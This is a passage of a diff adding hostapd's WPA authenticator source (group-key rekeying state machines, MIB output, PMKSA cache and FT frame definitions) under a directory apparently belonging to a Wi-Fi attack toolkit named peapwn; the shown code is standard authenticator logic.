KEYERROR) +{ + SM_ENTRY_MA(WPA_PTK_GROUP, KEYERROR, wpa_ptk_group); + if (sm->GUpdateStationKeys) + sm->group->GKeyDoneStations--; + sm->GUpdateStationKeys = FALSE; + sm->Disconnect = TRUE; +} + + +SM_STEP(WPA_PTK_GROUP) +{ + if (sm->Init || sm->PtkGroupInit) { + SM_ENTER(WPA_PTK_GROUP, IDLE); + sm->PtkGroupInit = FALSE; + } else switch (sm->wpa_ptk_group_state) { + case WPA_PTK_GROUP_IDLE: + if (sm->GUpdateStationKeys || + (sm->wpa == WPA_VERSION_WPA && sm->PInitAKeys)) + SM_ENTER(WPA_PTK_GROUP, REKEYNEGOTIATING); + break; + case WPA_PTK_GROUP_REKEYNEGOTIATING: + if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && + !sm->EAPOLKeyPairwise && sm->MICVerified) + SM_ENTER(WPA_PTK_GROUP, REKEYESTABLISHED); + else if (sm->GTimeoutCtr > + (int) dot11RSNAConfigGroupUpdateCount) + SM_ENTER(WPA_PTK_GROUP, KEYERROR); + else if (sm->TimeoutEvt) + SM_ENTER(WPA_PTK_GROUP, REKEYNEGOTIATING); + break; + case WPA_PTK_GROUP_KEYERROR: + SM_ENTER(WPA_PTK_GROUP, IDLE); + break; + case WPA_PTK_GROUP_REKEYESTABLISHED: + SM_ENTER(WPA_PTK_GROUP, IDLE); + break; + } +} + + +static int wpa_gtk_update(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + int ret = 0; + + os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN); + inc_byte_array(group->Counter, WPA_NONCE_LEN); + if (wpa_gmk_to_gtk(group->GMK, "Group key expansion", + wpa_auth->addr, group->GNonce, + group->GTK[group->GN - 1], group->GTK_len) < 0) + ret = -1; + wpa_hexdump_key(MSG_DEBUG, "GTK", + group->GTK[group->GN - 1], group->GTK_len); + +#ifdef CONFIG_IEEE80211W + if (wpa_auth->conf.ieee80211w != NO_MGMT_FRAME_PROTECTION) { + os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN); + inc_byte_array(group->Counter, WPA_NONCE_LEN); + if (wpa_gmk_to_gtk(group->GMK, "IGTK key expansion", + wpa_auth->addr, group->GNonce, + group->IGTK[group->GN_igtk - 4], + WPA_IGTK_LEN) < 0) + ret = -1; + wpa_hexdump_key(MSG_DEBUG, "IGTK", + group->IGTK[group->GN_igtk - 4], WPA_IGTK_LEN); + } +#endif /* CONFIG_IEEE80211W */ + + return ret; +} + + +static void wpa_group_gtk_init(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " + "GTK_INIT (VLAN-ID %d)", group->vlan_id); + group->changed = FALSE; /* GInit is not cleared here; avoid loop */ + group->wpa_group_state = WPA_GROUP_GTK_INIT; + + /* GTK[0..N] = 0 */ + os_memset(group->GTK, 0, sizeof(group->GTK)); + group->GN = 1; + group->GM = 2; +#ifdef CONFIG_IEEE80211W + group->GN_igtk = 4; + group->GM_igtk = 5; +#endif /* CONFIG_IEEE80211W */ + /* GTK[GN] = CalcGTK() */ + wpa_gtk_update(wpa_auth, group); +} + + +static int wpa_group_update_sta(struct wpa_state_machine *sm, void *ctx) +{ + if (ctx != NULL && ctx != sm->group) + return 0; + + if (sm->wpa_ptk_state != WPA_PTK_PTKINITDONE) { + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "Not in PTKINITDONE; skip Group Key update"); + sm->GUpdateStationKeys = FALSE; + return 0; + } + if (sm->GUpdateStationKeys) { + /* + * This should not really happen, so add a debug log entry. + * Since we clear the GKeyDoneStations before the loop, the + * station needs to be counted here anyway. + */ + wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, + "GUpdateStationKeys was already set when " + "marking station for GTK rekeying"); + } + + /* Do not rekey GTK/IGTK when STA is in WNM-Sleep Mode */ + if (sm->is_wnmsleep) + return 0; + + sm->group->GKeyDoneStations++; + sm->GUpdateStationKeys = TRUE; + + wpa_sm_step(sm); + return 0; +} + + +#ifdef CONFIG_WNM +/* update GTK when exiting WNM-Sleep Mode */ +void wpa_wnmsleep_rekey_gtk(struct wpa_state_machine *sm) +{ + if (sm->is_wnmsleep) + return; + + wpa_group_update_sta(sm, NULL); +} + + +void wpa_set_wnmsleep(struct wpa_state_machine *sm, int flag) +{ + sm->is_wnmsleep = !!flag; +} + + +int wpa_wnmsleep_gtk_subelem(struct wpa_state_machine *sm, u8 *pos) +{ + struct wpa_group *gsm = sm->group; + u8 *start = pos; + + /* + * GTK subelement: + * Sub-elem ID[1] | Length[1] | Key Info[2] | Key Length[1] | RSC[8] | + * Key[5..32] + */ + *pos++ = WNM_SLEEP_SUBELEM_GTK; + *pos++ = 11 + gsm->GTK_len; + /* Key ID in B0-B1 of Key Info */ + WPA_PUT_LE16(pos, gsm->GN & 0x03); + pos += 2; + *pos++ = gsm->GTK_len; + if (wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, pos) != 0) + return 0; + pos += 8; + os_memcpy(pos, gsm->GTK[gsm->GN - 1], gsm->GTK_len); + pos += gsm->GTK_len; + + wpa_printf(MSG_DEBUG, "WNM: GTK Key ID %u in WNM-Sleep Mode exit", + gsm->GN); + wpa_hexdump_key(MSG_DEBUG, "WNM: GTK in WNM-Sleep Mode exit", + gsm->GTK[gsm->GN - 1], gsm->GTK_len); + + return pos - start; +} + + +#ifdef CONFIG_IEEE80211W +int wpa_wnmsleep_igtk_subelem(struct wpa_state_machine *sm, u8 *pos) +{ + struct wpa_group *gsm = sm->group; + u8 *start = pos; + + /* + * IGTK subelement: + * Sub-elem ID[1] | Length[1] | KeyID[2] | PN[6] | Key[16] + */ + *pos++ = WNM_SLEEP_SUBELEM_IGTK; + *pos++ = 2 + 6 + WPA_IGTK_LEN; + WPA_PUT_LE16(pos, gsm->GN_igtk); + pos += 2; + if (wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, pos) != 0) + return 0; + pos += 6; + + os_memcpy(pos, gsm->IGTK[gsm->GN_igtk - 4], WPA_IGTK_LEN); + pos += WPA_IGTK_LEN; + + wpa_printf(MSG_DEBUG, "WNM: IGTK Key ID %u in WNM-Sleep Mode exit", + gsm->GN_igtk); + wpa_hexdump_key(MSG_DEBUG, "WNM: IGTK in WNM-Sleep Mode exit", + gsm->IGTK[gsm->GN_igtk - 4], WPA_IGTK_LEN); + + return pos - start; +} +#endif /* CONFIG_IEEE80211W */ +#endif /* CONFIG_WNM */ + + +static void wpa_group_setkeys(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + int tmp; + + wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " + "SETKEYS (VLAN-ID %d)", group->vlan_id); + group->changed = TRUE; + group->wpa_group_state = WPA_GROUP_SETKEYS; + group->GTKReKey = FALSE; + tmp = group->GM; + group->GM = group->GN; + group->GN = tmp; +#ifdef CONFIG_IEEE80211W + tmp = group->GM_igtk; + group->GM_igtk = group->GN_igtk; + group->GN_igtk = tmp; +#endif /* CONFIG_IEEE80211W */ + /* "GKeyDoneStations = GNoStations" is done in more robust way by + * counting the STAs that are marked with GUpdateStationKeys instead of + * including all STAs that could be in not-yet-completed state. */ + wpa_gtk_update(wpa_auth, group); + + if (group->GKeyDoneStations) { + wpa_printf(MSG_DEBUG, "wpa_group_setkeys: Unexpected " + "GKeyDoneStations=%d when starting new GTK rekey", + group->GKeyDoneStations); + group->GKeyDoneStations = 0; + } + wpa_auth_for_each_sta(wpa_auth, wpa_group_update_sta, group); + wpa_printf(MSG_DEBUG, "wpa_group_setkeys: GKeyDoneStations=%d", + group->GKeyDoneStations); +} + + +static int wpa_group_config_group_keys(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + int ret = 0; + + if (wpa_auth_set_key(wpa_auth, group->vlan_id, + wpa_cipher_to_alg(wpa_auth->conf.wpa_group), + broadcast_ether_addr, group->GN, + group->GTK[group->GN - 1], group->GTK_len) < 0) + ret = -1; + +#ifdef CONFIG_IEEE80211W + if (wpa_auth->conf.ieee80211w != NO_MGMT_FRAME_PROTECTION && + wpa_auth_set_key(wpa_auth, group->vlan_id, WPA_ALG_IGTK, + broadcast_ether_addr, group->GN_igtk, + group->IGTK[group->GN_igtk - 4], + WPA_IGTK_LEN) < 0) + ret = -1; +#endif /* CONFIG_IEEE80211W */ + + return ret; +} + + +static int wpa_group_setkeysdone(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " + "SETKEYSDONE (VLAN-ID %d)", group->vlan_id); + group->changed = TRUE; + group->wpa_group_state = WPA_GROUP_SETKEYSDONE; + + if (wpa_group_config_group_keys(wpa_auth, group) < 0) + return -1; + + return 0; +} + + +static void wpa_group_sm_step(struct wpa_authenticator *wpa_auth, + struct wpa_group *group) +{ + if (group->GInit) { + wpa_group_gtk_init(wpa_auth, group); + } else if (group->wpa_group_state == WPA_GROUP_GTK_INIT && + group->GTKAuthenticator) { + wpa_group_setkeysdone(wpa_auth, group); + } else if (group->wpa_group_state == WPA_GROUP_SETKEYSDONE && + group->GTKReKey) { + wpa_group_setkeys(wpa_auth, group); + } else if (group->wpa_group_state == WPA_GROUP_SETKEYS) { + if (group->GKeyDoneStations == 0) + wpa_group_setkeysdone(wpa_auth, group); + else if (group->GTKReKey) + wpa_group_setkeys(wpa_auth, group); + } +} + + +static int wpa_sm_step(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return 0; + + if (sm->in_step_loop) { + /* This should not happen, but if it does, make sure we do not + * end up freeing the state machine too early by exiting the + * recursive call. */ + wpa_printf(MSG_ERROR, "WPA: wpa_sm_step() called recursively"); + return 0; + } + + sm->in_step_loop = 1; + do { + if (sm->pending_deinit) + break; + + sm->changed = FALSE; + sm->wpa_auth->group->changed = FALSE; + + SM_STEP_RUN(WPA_PTK); + if (sm->pending_deinit) + break; + SM_STEP_RUN(WPA_PTK_GROUP); + if (sm->pending_deinit) + break; + wpa_group_sm_step(sm->wpa_auth, sm->group); + } while (sm->changed || sm->wpa_auth->group->changed); + sm->in_step_loop = 0; + + if (sm->pending_deinit) { + wpa_printf(MSG_DEBUG, "WPA: Completing pending STA state " + "machine deinit for " MACSTR, MAC2STR(sm->addr)); + wpa_free_sta_sm(sm); + return 1; + } + return 0; +} + + +static void wpa_sm_call_step(void *eloop_ctx, void *timeout_ctx) +{ + struct wpa_state_machine *sm = eloop_ctx; + wpa_sm_step(sm); +} + + +void wpa_auth_sm_notify(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return; + eloop_register_timeout(0, 0, wpa_sm_call_step, sm, NULL); +} + + +void wpa_gtk_rekey(struct wpa_authenticator *wpa_auth) +{ + int tmp, i; + struct wpa_group *group; + + if (wpa_auth == NULL) + return; + + group = wpa_auth->group; + + for (i = 0; i < 2; i++) { + tmp = group->GM; + group->GM = group->GN; + group->GN = tmp; +#ifdef CONFIG_IEEE80211W + tmp = group->GM_igtk; + group->GM_igtk = group->GN_igtk; + group->GN_igtk = tmp; +#endif /* CONFIG_IEEE80211W */ + wpa_gtk_update(wpa_auth, group); + wpa_group_config_group_keys(wpa_auth, group); + } +} + + +static const char * wpa_bool_txt(int bool) +{ + return bool ? "TRUE" : "FALSE"; +} + + +#define RSN_SUITE "%02x-%02x-%02x-%d" +#define RSN_SUITE_ARG(s) \ +((s) >> 24) & 0xff, ((s) >> 16) & 0xff, ((s) >> 8) & 0xff, (s) & 0xff + +int wpa_get_mib(struct wpa_authenticator *wpa_auth, char *buf, size_t buflen) +{ + int len = 0, ret; + char pmkid_txt[PMKID_LEN * 2 + 1]; +#ifdef CONFIG_RSN_PREAUTH + const int preauth = 1; +#else /* CONFIG_RSN_PREAUTH */ + const int preauth = 0; +#endif /* CONFIG_RSN_PREAUTH */ + + if (wpa_auth == NULL) + return len; + + ret = os_snprintf(buf + len, buflen - len, + "dot11RSNAOptionImplemented=TRUE\n" + "dot11RSNAPreauthenticationImplemented=%s\n" + "dot11RSNAEnabled=%s\n" + "dot11RSNAPreauthenticationEnabled=%s\n", + wpa_bool_txt(preauth), + wpa_bool_txt(wpa_auth->conf.wpa & WPA_PROTO_RSN), + wpa_bool_txt(wpa_auth->conf.rsn_preauth)); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + wpa_snprintf_hex(pmkid_txt, sizeof(pmkid_txt), + wpa_auth->dot11RSNAPMKIDUsed, PMKID_LEN); + + ret = os_snprintf( + buf + len, buflen - len, + "dot11RSNAConfigVersion=%u\n" + "dot11RSNAConfigPairwiseKeysSupported=9999\n" + /* FIX: dot11RSNAConfigGroupCipher */ + /* FIX: dot11RSNAConfigGroupRekeyMethod */ + /* FIX: dot11RSNAConfigGroupRekeyTime */ + /* FIX: dot11RSNAConfigGroupRekeyPackets */ + "dot11RSNAConfigGroupRekeyStrict=%u\n" + "dot11RSNAConfigGroupUpdateCount=%u\n" + "dot11RSNAConfigPairwiseUpdateCount=%u\n" + "dot11RSNAConfigGroupCipherSize=%u\n" + "dot11RSNAConfigPMKLifetime=%u\n" + "dot11RSNAConfigPMKReauthThreshold=%u\n" + "dot11RSNAConfigNumberOfPTKSAReplayCounters=0\n" + "dot11RSNAConfigSATimeout=%u\n" + "dot11RSNAAuthenticationSuiteSelected=" RSN_SUITE "\n" + "dot11RSNAPairwiseCipherSelected=" RSN_SUITE "\n" + "dot11RSNAGroupCipherSelected=" RSN_SUITE "\n" + "dot11RSNAPMKIDUsed=%s\n" + "dot11RSNAAuthenticationSuiteRequested=" RSN_SUITE "\n" + "dot11RSNAPairwiseCipherRequested=" RSN_SUITE "\n" + "dot11RSNAGroupCipherRequested=" RSN_SUITE "\n" + "dot11RSNATKIPCounterMeasuresInvoked=%u\n" + "dot11RSNA4WayHandshakeFailures=%u\n" + "dot11RSNAConfigNumberOfGTKSAReplayCounters=0\n", + RSN_VERSION, + !!wpa_auth->conf.wpa_strict_rekey, + dot11RSNAConfigGroupUpdateCount, + dot11RSNAConfigPairwiseUpdateCount, + wpa_cipher_key_len(wpa_auth->conf.wpa_group) * 8, + dot11RSNAConfigPMKLifetime, + dot11RSNAConfigPMKReauthThreshold, + dot11RSNAConfigSATimeout, + RSN_SUITE_ARG(wpa_auth->dot11RSNAAuthenticationSuiteSelected), + RSN_SUITE_ARG(wpa_auth->dot11RSNAPairwiseCipherSelected), + RSN_SUITE_ARG(wpa_auth->dot11RSNAGroupCipherSelected), + pmkid_txt, + RSN_SUITE_ARG(wpa_auth->dot11RSNAAuthenticationSuiteRequested), + RSN_SUITE_ARG(wpa_auth->dot11RSNAPairwiseCipherRequested), + RSN_SUITE_ARG(wpa_auth->dot11RSNAGroupCipherRequested), + wpa_auth->dot11RSNATKIPCounterMeasuresInvoked, + wpa_auth->dot11RSNA4WayHandshakeFailures); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* TODO: dot11RSNAConfigPairwiseCiphersTable */ + /* TODO: dot11RSNAConfigAuthenticationSuitesTable */ + + /* Private MIB */ + ret = os_snprintf(buf + len, buflen - len, "hostapdWPAGroupState=%d\n", + wpa_auth->group->wpa_group_state); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} + + +int wpa_get_mib_sta(struct wpa_state_machine *sm, char *buf, size_t buflen) +{ + int len = 0, ret; + u32 pairwise = 0; + + if (sm == NULL) + return 0; + + /* TODO: FF-FF-FF-FF-FF-FF entry for broadcast/multicast stats */ + + /* dot11RSNAStatsEntry */ + + pairwise = wpa_cipher_to_suite(sm->wpa == WPA_VERSION_WPA2 ? + WPA_PROTO_RSN : WPA_PROTO_WPA, + sm->pairwise); + if (pairwise == 0) + return 0; + + ret = os_snprintf( + buf + len, buflen - len, + /* TODO: dot11RSNAStatsIndex */ + "dot11RSNAStatsSTAAddress=" MACSTR "\n" + "dot11RSNAStatsVersion=1\n" + "dot11RSNAStatsSelectedPairwiseCipher=" RSN_SUITE "\n" + /* TODO: dot11RSNAStatsTKIPICVErrors */ + "dot11RSNAStatsTKIPLocalMICFailures=%u\n" + "dot11RSNAStatsTKIPRemoteMICFailures=%u\n" + /* TODO: dot11RSNAStatsCCMPReplays */ + /* TODO: dot11RSNAStatsCCMPDecryptErrors */ + /* TODO: dot11RSNAStatsTKIPReplays */, + MAC2STR(sm->addr), + RSN_SUITE_ARG(pairwise), + sm->dot11RSNAStatsTKIPLocalMICFailures, + sm->dot11RSNAStatsTKIPRemoteMICFailures); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + /* Private MIB */ + ret = os_snprintf(buf + len, buflen - len, + "hostapdWPAPTKState=%d\n" + "hostapdWPAPTKGroupState=%d\n", + sm->wpa_ptk_state, + sm->wpa_ptk_group_state); + if (ret < 0 || (size_t) ret >= buflen - len) + return len; + len += ret; + + return len; +} + + +void wpa_auth_countermeasures_start(struct wpa_authenticator *wpa_auth) +{ + if (wpa_auth) + wpa_auth->dot11RSNATKIPCounterMeasuresInvoked++; +} + + +int wpa_auth_pairwise_set(struct wpa_state_machine *sm) +{ + return sm && sm->pairwise_set; +} + + +int wpa_auth_get_pairwise(struct wpa_state_machine *sm) +{ + return sm->pairwise; +} + + +int wpa_auth_sta_key_mgmt(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return -1; + return sm->wpa_key_mgmt; +} + + +int wpa_auth_sta_wpa_version(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return 0; + return sm->wpa; +} + + +int wpa_auth_sta_clear_pmksa(struct wpa_state_machine *sm, + struct rsn_pmksa_cache_entry *entry) +{ + if (sm == NULL || sm->pmksa != entry) + return -1; + sm->pmksa = NULL; + return 0; +} + + +struct rsn_pmksa_cache_entry * +wpa_auth_sta_get_pmksa(struct wpa_state_machine *sm) +{ + return sm ? sm->pmksa : NULL; +} + + +void wpa_auth_sta_local_mic_failure_report(struct wpa_state_machine *sm) +{ + if (sm) + sm->dot11RSNAStatsTKIPLocalMICFailures++; +} + + +const u8 * wpa_auth_get_wpa_ie(struct wpa_authenticator *wpa_auth, size_t *len) +{ + if (wpa_auth == NULL) + return NULL; + *len = wpa_auth->wpa_ie_len; + return wpa_auth->wpa_ie; +} + + +int wpa_auth_pmksa_add(struct wpa_state_machine *sm, const u8 *pmk, + int session_timeout, struct eapol_state_machine *eapol) +{ + if (sm == NULL || sm->wpa != WPA_VERSION_WPA2 || + sm->wpa_auth->conf.disable_pmksa_caching) + return -1; + + if (pmksa_cache_auth_add(sm->wpa_auth->pmksa, pmk, PMK_LEN, + sm->wpa_auth->addr, sm->addr, session_timeout, + eapol, sm->wpa_key_mgmt)) + return 0; + + return -1; +} + + +int wpa_auth_pmksa_add_preauth(struct wpa_authenticator *wpa_auth, + const u8 *pmk, size_t len, const u8 *sta_addr, + int session_timeout, + struct eapol_state_machine *eapol) +{ + if (wpa_auth == NULL) + return -1; + + if (pmksa_cache_auth_add(wpa_auth->pmksa, pmk, len, wpa_auth->addr, + sta_addr, session_timeout, eapol, + WPA_KEY_MGMT_IEEE8021X)) + return 0; + + return -1; +} + + +void wpa_auth_pmksa_remove(struct wpa_authenticator *wpa_auth, + const u8 *sta_addr) +{ + struct rsn_pmksa_cache_entry *pmksa; + + if (wpa_auth == NULL || wpa_auth->pmksa == NULL) + return; + pmksa = pmksa_cache_auth_get(wpa_auth->pmksa, sta_addr, NULL); + if (pmksa) { + wpa_printf(MSG_DEBUG, "WPA: Remove PMKSA cache entry for " + MACSTR " based on request", MAC2STR(sta_addr)); + pmksa_cache_free_entry(wpa_auth->pmksa, pmksa); + } +} + + +static struct wpa_group * +wpa_auth_add_group(struct wpa_authenticator *wpa_auth, int vlan_id) +{ + struct wpa_group *group; + + if (wpa_auth == NULL || wpa_auth->group == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "WPA: Add group state machine for VLAN-ID %d", + vlan_id); + group = wpa_group_init(wpa_auth, vlan_id, 0); + if (group == NULL) + return NULL; + + group->next = wpa_auth->group->next; + wpa_auth->group->next = group; + + return group; +} + + +int wpa_auth_sta_set_vlan(struct wpa_state_machine *sm, int vlan_id) +{ + struct wpa_group *group; + + if (sm == NULL || sm->wpa_auth == NULL) + return 0; + + group = sm->wpa_auth->group; + while (group) { + if (group->vlan_id == vlan_id) + break; + group = group->next; + } + + if (group == NULL) { + group = wpa_auth_add_group(sm->wpa_auth, vlan_id); + if (group == NULL) + return -1; + } + + if (sm->group == group) + return 0; + + wpa_printf(MSG_DEBUG, "WPA: Moving STA " MACSTR " to use group state " + "machine for VLAN ID %d", MAC2STR(sm->addr), vlan_id); + + sm->group = group; + return 0; +} + + +void wpa_auth_eapol_key_tx_status(struct wpa_authenticator *wpa_auth, + struct wpa_state_machine *sm, int ack) +{ + if (wpa_auth == NULL || sm == NULL) + return; + wpa_printf(MSG_DEBUG, "WPA: EAPOL-Key TX status for STA " MACSTR + " ack=%d", MAC2STR(sm->addr), ack); + if (sm->pending_1_of_4_timeout && ack) { + /* + * Some deployed supplicant implementations update their SNonce + * for each EAPOL-Key 2/4 message even within the same 4-way + * handshake and then fail to use the first SNonce when + * deriving the PTK. This results in unsuccessful 4-way + * handshake whenever the relatively short initial timeout is + * reached and EAPOL-Key 1/4 is retransmitted. Try to work + * around this by increasing the timeout now that we know that + * the station has received the frame. + */ + int timeout_ms = eapol_key_timeout_subseq; + wpa_printf(MSG_DEBUG, "WPA: Increase initial EAPOL-Key 1/4 " + "timeout by %u ms because of acknowledged frame", + timeout_ms); + eloop_cancel_timeout(wpa_send_eapol_timeout, wpa_auth, sm); + eloop_register_timeout(timeout_ms / 1000, + (timeout_ms % 1000) * 1000, + wpa_send_eapol_timeout, wpa_auth, sm); + } +} + + +int wpa_auth_uses_sae(struct wpa_state_machine *sm) +{ + if (sm == NULL) + return 0; + return wpa_key_mgmt_sae(sm->wpa_key_mgmt); +} diff --git a/peapwn/mods/hostap/src/ap/wpa_auth.h b/peapwn/mods/hostap/src/ap/wpa_auth.h new file mode 100644 index 000000000..47503d00c --- /dev/null +++ b/peapwn/mods/hostap/src/ap/wpa_auth.h @@ -0,0 +1,299 @@ +/* + * hostapd - IEEE 802.11i-2004 / WPA Authenticator + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_AUTH_H +#define WPA_AUTH_H + +#include "common/defs.h" +#include "common/eapol_common.h" +#include "common/wpa_common.h" + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +/* IEEE Std 802.11r-2008, 11A.10.3 - Remote request/response frame definition + */ +struct ft_rrb_frame { + u8 frame_type; /* RSN_REMOTE_FRAME_TYPE_FT_RRB */ + u8 packet_type; /* FT_PACKET_REQUEST/FT_PACKET_RESPONSE */ + le16 action_length; /* little endian length of action_frame */ + u8 ap_address[ETH_ALEN]; + /* + * Followed by action_length bytes of FT Action frame (from Category + * field to the end of Action Frame body. + */ +} STRUCT_PACKED; + +#define RSN_REMOTE_FRAME_TYPE_FT_RRB 1 + +#define FT_PACKET_REQUEST 0 +#define FT_PACKET_RESPONSE 1 +/* Vendor-specific types for R0KH-R1KH protocol; not defined in 802.11r */ +#define FT_PACKET_R0KH_R1KH_PULL 200 +#define FT_PACKET_R0KH_R1KH_RESP 201 +#define FT_PACKET_R0KH_R1KH_PUSH 202 + +#define FT_R0KH_R1KH_PULL_DATA_LEN 44 +#define FT_R0KH_R1KH_RESP_DATA_LEN 76 +#define FT_R0KH_R1KH_PUSH_DATA_LEN 88 + +struct ft_r0kh_r1kh_pull_frame { + u8 frame_type; /* RSN_REMOTE_FRAME_TYPE_FT_RRB */ + u8 packet_type; /* FT_PACKET_R0KH_R1KH_PULL */ + le16 data_length; /* little endian length of data (44) */ + u8 ap_address[ETH_ALEN]; + + u8 nonce[16]; + u8 pmk_r0_name[WPA_PMK_NAME_LEN]; + u8 r1kh_id[FT_R1KH_ID_LEN]; + u8 s1kh_id[ETH_ALEN]; + u8 pad[4]; /* 8-octet boundary for AES key wrap */ + u8 key_wrap_extra[8]; +} STRUCT_PACKED; + +struct ft_r0kh_r1kh_resp_frame { + u8 frame_type; /* RSN_REMOTE_FRAME_TYPE_FT_RRB */ + u8 packet_type; /* FT_PACKET_R0KH_R1KH_RESP */ + le16 data_length; /* little endian length of data (76) */ + u8 ap_address[ETH_ALEN]; + + u8 nonce[16]; /* copied from pull */ + u8 r1kh_id[FT_R1KH_ID_LEN]; /* copied from pull */ + u8 s1kh_id[ETH_ALEN]; /* copied from pull */ + u8 pmk_r1[PMK_LEN]; + u8 pmk_r1_name[WPA_PMK_NAME_LEN]; + le16 pairwise; + u8 pad[2]; /* 8-octet boundary for AES key wrap */ + u8 key_wrap_extra[8]; +} STRUCT_PACKED; + +struct ft_r0kh_r1kh_push_frame { + u8 frame_type; /* RSN_REMOTE_FRAME_TYPE_FT_RRB */ + u8 packet_type; /* FT_PACKET_R0KH_R1KH_PUSH */ + le16 data_length; /* little endian length of data (88) */ + u8 ap_address[ETH_ALEN]; + + /* Encrypted with AES key-wrap */ + u8 timestamp[4]; /* current time in seconds since unix epoch, little + * endian */ + u8 r1kh_id[FT_R1KH_ID_LEN]; + u8 s1kh_id[ETH_ALEN]; + u8 pmk_r0_name[WPA_PMK_NAME_LEN]; + u8 pmk_r1[PMK_LEN]; + u8 pmk_r1_name[WPA_PMK_NAME_LEN]; + le16 pairwise; + u8 pad[6]; /* 8-octet boundary for AES key wrap */ + u8 key_wrap_extra[8]; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +/* per STA state machine data */ + +struct wpa_authenticator; +struct wpa_state_machine; +struct rsn_pmksa_cache_entry; +struct eapol_state_machine; + + +struct ft_remote_r0kh { + struct ft_remote_r0kh *next; + u8 addr[ETH_ALEN]; + u8 id[FT_R0KH_ID_MAX_LEN]; + size_t id_len; + u8 key[16]; +}; + + +struct ft_remote_r1kh { + struct ft_remote_r1kh *next; + u8 addr[ETH_ALEN]; + u8 id[FT_R1KH_ID_LEN]; + u8 key[16]; +}; + + +struct wpa_auth_config { + int wpa; + int wpa_key_mgmt; + int wpa_pairwise; + int wpa_group; + int wpa_group_rekey; + int wpa_strict_rekey; + int wpa_gmk_rekey; + int wpa_ptk_rekey; + int rsn_pairwise; + int rsn_preauth; + int eapol_version; + int peerkey; + int wmm_enabled; + int wmm_uapsd; + int disable_pmksa_caching; + int okc; + int tx_status; +#ifdef CONFIG_IEEE80211W + enum mfp_options ieee80211w; +#endif /* CONFIG_IEEE80211W */ +#ifdef CONFIG_IEEE80211R +#define SSID_LEN 32 + u8 ssid[SSID_LEN]; + size_t ssid_len; + u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; + u8 r0_key_holder[FT_R0KH_ID_MAX_LEN]; + size_t r0_key_holder_len; + u8 r1_key_holder[FT_R1KH_ID_LEN]; + u32 r0_key_lifetime; + u32 reassociation_deadline; + struct ft_remote_r0kh *r0kh_list; + struct ft_remote_r1kh *r1kh_list; + int pmk_r1_push; + int ft_over_ds; +#endif /* CONFIG_IEEE80211R */ + int disable_gtk; + int ap_mlme; +#ifdef CONFIG_TESTING_OPTIONS + double corrupt_gtk_rekey_mic_probability; +#endif /* CONFIG_TESTING_OPTIONS */ +}; + +typedef enum { + LOGGER_DEBUG, LOGGER_INFO, LOGGER_WARNING +} logger_level; + +typedef enum { + WPA_EAPOL_portEnabled, WPA_EAPOL_portValid, WPA_EAPOL_authorized, + WPA_EAPOL_portControl_Auto, WPA_EAPOL_keyRun, WPA_EAPOL_keyAvailable, + WPA_EAPOL_keyDone, WPA_EAPOL_inc_EapolFramesTx +} wpa_eapol_variable; + +struct wpa_auth_callbacks { + void *ctx; + void (*logger)(void *ctx, const u8 *addr, logger_level level, + const char *txt); + void (*disconnect)(void *ctx, const u8 *addr, u16 reason); + int (*mic_failure_report)(void *ctx, const u8 *addr); + void (*set_eapol)(void *ctx, const u8 *addr, wpa_eapol_variable var, + int value); + int (*get_eapol)(void *ctx, const u8 *addr, wpa_eapol_variable var); + const u8 * (*get_psk)(void *ctx, const u8 *addr, const u8 *p2p_dev_addr, + const u8 *prev_psk); + int (*get_msk)(void *ctx, const u8 *addr, u8 *msk, size_t *len); + int (*set_key)(void *ctx, int vlan_id, enum wpa_alg alg, + const u8 *addr, int idx, u8 *key, size_t key_len); + int (*get_seqnum)(void *ctx, const u8 *addr, int idx, u8 *seq); + int (*send_eapol)(void *ctx, const u8 *addr, const u8 *data, + size_t data_len, int encrypt); + int (*for_each_sta)(void *ctx, int (*cb)(struct wpa_state_machine *sm, + void *ctx), void *cb_ctx); + int (*for_each_auth)(void *ctx, int (*cb)(struct wpa_authenticator *a, + void *ctx), void *cb_ctx); + int (*send_ether)(void *ctx, const u8 *dst, u16 proto, const u8 *data, + size_t data_len); +#ifdef CONFIG_IEEE80211R + struct wpa_state_machine * (*add_sta)(void *ctx, const u8 *sta_addr); + int (*send_ft_action)(void *ctx, const u8 *dst, + const u8 *data, size_t data_len); + int (*add_tspec)(void *ctx, const u8 *sta_addr, u8 *tspec_ie, + size_t tspec_ielen); +#endif /* CONFIG_IEEE80211R */ +}; + +struct wpa_authenticator * wpa_init(const u8 *addr, + struct wpa_auth_config *conf, + struct wpa_auth_callbacks *cb); +int wpa_init_keys(struct wpa_authenticator *wpa_auth); +void wpa_deinit(struct wpa_authenticator *wpa_auth); +int wpa_reconfig(struct wpa_authenticator *wpa_auth, + struct wpa_auth_config *conf); + +enum { + WPA_IE_OK, WPA_INVALID_IE, WPA_INVALID_GROUP, WPA_INVALID_PAIRWISE, + 